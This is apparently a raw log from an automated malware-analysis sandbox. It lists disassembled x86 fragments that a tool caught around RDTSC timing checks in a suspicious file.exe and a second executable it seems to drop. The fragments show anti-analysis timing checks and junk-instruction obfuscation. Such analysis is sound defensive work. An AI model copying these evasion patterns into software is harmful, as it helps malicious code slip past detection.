Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B12D second address: A8B14C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jl 00007FA441297146h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA44129712Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B14C second address: A8B150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B150 second address: A8B154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B3DC second address: A8B3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA4407343E5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B3F5 second address: A8B408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA44129712Dh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E2EA second address: A8E2FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E2FB second address: A8E358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FA441297126h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FA441297128h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+122D32BEh] 0x00000031 mov dl, bh 0x00000033 push 00000004h 0x00000035 push DF92422Eh 0x0000003a push eax 0x0000003b push edx 0x0000003c jbe 00007FA44129713Fh 0x00000042 jmp 00007FA441297139h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E563 second address: A8E567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E567 second address: A8E5CD instructions: 0x00000000 rdtsc 0x00000002 js 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FA441297128h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D18C7h], edx 0x00000032 push dword ptr [ebp+1244F20Fh] 0x00000038 jmp 00007FA441297136h 0x0000003d call 00007FA441297129h 0x00000042 push edi 0x00000043 push eax 0x00000044 push edx 0x00000045 push ebx 0x00000046 pop ebx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E5CD second address: A8E5DF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E5DF second address: A8E5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E5E3 second address: A8E5E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E5E9 second address: A8E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E5EF second address: A8E603 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E603 second address: A8E64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007FA441297131h 0x0000000b pop edx 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ebx 0x00000010 pushad 0x00000011 jmp 00007FA44129712Dh 0x00000016 jng 00007FA441297126h 0x0000001c popad 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push esi 0x00000023 pushad 0x00000024 jmp 00007FA44129712Eh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F85D second address: A8F861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F861 second address: A8F879 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297130h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F879 second address: A8F87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F87D second address: A8F894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F894 second address: A8F8B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A915B8 second address: A915C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A915C3 second address: A915D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F029B second address: 50F02A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02A1 second address: 50F02D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA4407343DEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02D7 second address: 50F02DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02DB second address: 50F02DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02DF second address: 50F02E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F02E5 second address: 50F02EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AE0AD second address: 9AE0B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0441 second address: 50F047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA4407343E3h 0x0000000a sbb esi, 4B9BF3CEh 0x00000010 jmp 00007FA4407343E9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F047A second address: 50F04C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA441297137h 0x00000009 or esi, 659281DEh 0x0000000f jmp 00007FA441297139h 0x00000014 popfd 0x00000015 mov si, 8CA7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov edx, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04C5 second address: 50F04C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04C9 second address: 50F04D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04D8 second address: 50F04DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F04DD second address: 50F0509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 0908h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov bx, F120h 0x00000012 mov ecx, edi 0x00000014 popad 0x00000015 mov al, byte ptr [edx] 0x00000017 jmp 00007FA44129712Bh 0x0000001c inc edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dh, F4h 0x00000022 movzx ecx, di 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0509 second address: 50F050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F050F second address: 50F0513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0513 second address: 50F0539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA4407343DAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0539 second address: 50F053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F053D second address: 50F0543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0543 second address: 50F0549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0549 second address: 50F054D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F054D second address: 50F0509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297138h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FA4412970A7h 0x00000011 mov al, byte ptr [edx] 0x00000013 jmp 00007FA44129712Bh 0x00000018 inc edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov dh, F4h 0x0000001e movzx ecx, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0591 second address: 50F05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F05A3 second address: 50F05DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA441297138h 0x00000014 and cx, 2748h 0x00000019 jmp 00007FA44129712Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F05DD second address: 50F05E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F05E2 second address: 50F0693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, F278h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c dec edi 0x0000000d jmp 00007FA44129712Dh 0x00000012 lea ebx, dword ptr [edi+01h] 0x00000015 jmp 00007FA44129712Eh 0x0000001a mov al, byte ptr [edi+01h] 0x0000001d pushad 0x0000001e push esi 0x0000001f mov dl, 9Eh 0x00000021 pop esi 0x00000022 pushfd 0x00000023 jmp 00007FA44129712Fh 0x00000028 sbb ax, A79Eh 0x0000002d jmp 00007FA441297139h 0x00000032 popfd 0x00000033 popad 0x00000034 inc edi 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FA44129712Ch 0x0000003c jmp 00007FA441297135h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007FA441297130h 0x00000048 sub cl, FFFFFFF8h 0x0000004b jmp 00007FA44129712Bh 0x00000050 popfd 0x00000051 popad 0x00000052 test al, al 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0693 second address: 50F0697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0697 second address: 50F069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F069B second address: 50F06A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06A1 second address: 50F06BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA4B23CF4F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06BB second address: 50F06BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06BF second address: 50F06C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06C5 second address: 50F06CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F06CB second address: 50F075A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007FA441297130h 0x00000012 shr ecx, 02h 0x00000015 jmp 00007FA441297130h 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 jmp 00007FA441297130h 0x00000029 mov ecx, edx 0x0000002b jmp 00007FA441297130h 0x00000030 and ecx, 03h 0x00000033 jmp 00007FA441297130h 0x00000038 rep movsb 0x0000003a pushad 0x0000003b push esi 0x0000003c mov ax, bx 0x0000003f pop edx 0x00000040 mov edx, ecx 0x00000042 popad 0x00000043 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d mov ebx, 7AB891F0h 0x00000052 mov di, DD1Ch 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F075A second address: 50F07BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA4407343DEh 0x00000012 and eax, 2BD85168h 0x00000018 jmp 00007FA4407343DBh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FA4407343E6h 0x00000026 or ecx, 7B38A3C8h 0x0000002c jmp 00007FA4407343DBh 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07BF second address: 50F07F7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA441297138h 0x00000008 and ax, A628h 0x0000000d jmp 00007FA44129712Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ecx, dword ptr [ebp-10h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov al, bl 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F07F7 second address: 50F0849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 jmp 00007FA4407343DEh 0x00000015 pop ecx 0x00000016 pushad 0x00000017 call 00007FA4407343DEh 0x0000001c mov ecx, 7ACAA071h 0x00000021 pop eax 0x00000022 mov al, bl 0x00000024 popad 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0849 second address: 50F084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F084D second address: 50F0868 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F09AF second address: 50F09E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA441297133h 0x0000000a add eax, 58CDE89Eh 0x00000010 jmp 00007FA441297139h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F09E8 second address: 50F0A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA4407343E7h 0x00000016 xor esi, 3A6C635Eh 0x0000001c jmp 00007FA4407343E9h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FA4407343E0h 0x00000028 jmp 00007FA4407343E5h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A58 second address: 50F0A8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297131h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA441297138h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0A8A second address: 50F0A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10231C0 second address: 10231C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10231C6 second address: 10231CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10231CA second address: 10231CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10231CE second address: 10231D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10231D4 second address: 1023211 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA441297131h 0x00000008 push eax 0x00000009 je 00007FA441297126h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jbe 00007FA441297145h 0x00000018 jmp 00007FA441297135h 0x0000001d push ebx 0x0000001e push eax 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 101482A second address: 101484D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FA4407343E9h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10223D7 second address: 10223F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297135h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10229B0 second address: 10229BC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA4407343D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1022B14 second address: 1022B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA441297139h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024445 second address: 1024449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024449 second address: 10244E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 sbb edx, 0958CF34h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FA441297128h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 362E59F4h 0x0000002e push edi 0x0000002f jmp 00007FA441297133h 0x00000034 pop edi 0x00000035 xor dword ptr [esp], 362E5974h 0x0000003c jmp 00007FA441297134h 0x00000041 mov esi, dword ptr [ebp+122D2D18h] 0x00000047 push 00000003h 0x00000049 jnc 00007FA44129712Ch 0x0000004f push 00000000h 0x00000051 sub dword ptr [ebp+122D265Bh], eax 0x00000057 push 00000003h 0x00000059 call 00007FA441297129h 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 jne 00007FA441297126h 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 10244E0 second address: 1024518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007FA4407343E4h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024518 second address: 1024522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA441297126h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	RDTSC instruction interceptor: First address: 1024522 second address: 1024552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b ja 00007FA4407343E3h 0x00000011 pushad 0x00000012 jmp 00007FA4407343DFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
